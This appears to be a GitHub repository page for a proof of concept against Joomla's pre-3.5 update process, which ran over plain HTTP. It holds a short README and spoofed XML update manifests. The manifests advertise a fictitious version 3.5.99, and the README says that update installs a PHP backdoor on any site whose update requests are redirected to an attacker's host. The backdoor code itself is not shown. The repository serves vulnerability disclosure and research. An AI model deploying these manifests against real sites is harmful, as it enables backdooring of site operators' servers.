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| # joomla-nohttps-poc | ||
| Proof of concept to install backdoor via unencrypted Joomla update | ||
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| # background | ||
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| The Joomla CMS before version 3.5 used an insecure update process over HTTP. | ||
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| This is a proof of concept. If you redirect requests to update.joomla.org to an | ||
| HTTP host containing the files in this repo it will show an update to a fictious | ||
| version 3.5.99. This 3.5.99 update will install a trivial PHP backdoor. |
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| <?xml version="1.0" ?> | ||
| <updates> | ||
| <update> | ||
| <name>Joomla! 3.5</name> | ||
| <description>Joomla! 3.5 CMS</description> | ||
| <element>joomla</element> | ||
| <type>file</type> | ||
| <version>3.5.99</version> | ||
| <infourl title="Joomla!">https://www.joomla.org/announcements/release-news/5655-joomla-3.5.99-released.html</infourl> | ||
| <downloads> | ||
| <downloadurl type="full" format="zip">https://github.com/joomla/joomla-cms/releases/download/3.5.99/Joomla_3.5.99-Stable-Update_Package.zip</downloadurl> | ||
| </downloads> | ||
| <tags> | ||
| <tag>stable</tag> | ||
| </tags> | ||
| <maintainer>Joomla! PLT</maintainer> | ||
| <maintainerurl>https://www.joomla.org</maintainerurl> | ||
| <section>STS</section> | ||
| <targetplatform name="joomla" version="3.3" /> | ||
| <php_minimum>5.3.10</php_minimum> | ||
| </update> | ||
| <update> | ||
| <name>Joomla! 3.5</name> | ||
| <description>Joomla! 3.5 CMS</description> | ||
| <element>joomla</element> | ||
| <type>file</type> | ||
| <version>3.5.99</version> | ||
| <infourl title="Joomla!">https://www.joomla.org/announcements/release-news/5655-joomla-3.5.99-released.html</infourl> | ||
| <downloads> | ||
| <downloadurl type="full" format="zip">https://github.com/joomla/joomla-cms/releases/download/3.5.99/Joomla_3.5.99-Stable-Update_Package.zip</downloadurl> | ||
| </downloads> | ||
| <tags> | ||
| <tag>stable</tag> | ||
| </tags> | ||
| <maintainer>Joomla! PLT</maintainer> | ||
| <maintainerurl>https://www.joomla.org</maintainerurl> | ||
| <section>STS</section> | ||
| <targetplatform name="joomla" version="3.4" /> | ||
| <php_minimum>5.3.10</php_minimum> | ||
| </update> | ||
| <update> | ||
| <name>Joomla! 3.5</name> | ||
| <description>Joomla! 3.5 CMS</description> | ||
| <element>joomla</element> | ||
| <type>file</type> | ||
| <infourl title="Joomla!">https://www.joomla.org/announcements/release-news/5655-joomla-3.5.99-released.html</infourl> | ||
| <version>3.5.99</version> | ||
| <downloads> | ||
| <downloadurl type="full" format="zip">http://update.joomla.org/core/Joomla_3.5.x_to_3.5.99-Stable-Patch_Package.zip</downloadurl> | ||
| </downloads> | ||
| <tags> | ||
| <tag>stable</tag> | ||
| </tags> | ||
| <maintainer>Joomla! PLT</maintainer> | ||
| <maintainerurl>https://www.joomla.org</maintainerurl> | ||
| <section>STS</section> | ||
| <targetplatform name="joomla" version="3.5" /> | ||
| <php_minimum>5.3.10</php_minimum> | ||
| </update> | ||
| </updates> |
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| <extensionset name="Joomla Core" description="Joomla! Core"> | ||
| <extension name="Joomla" element="joomla" type="file" version="3.5.99" targetplatformversion="3.3" detailsurl="http://update.joomla.org/core/extension_sts.xml" /> | ||
| <extension name="Joomla" element="joomla" type="file" version="3.5.99" targetplatformversion="3.4" detailsurl="http://update.joomla.org/core/extension_sts.xml" /> | ||
| <extension name="Joomla" element="joomla" type="file" version="3.5.99" targetplatformversion="3.5" detailsurl="http://update.joomla.org/core/extension_sts.xml" /> | ||
| </extensionset> |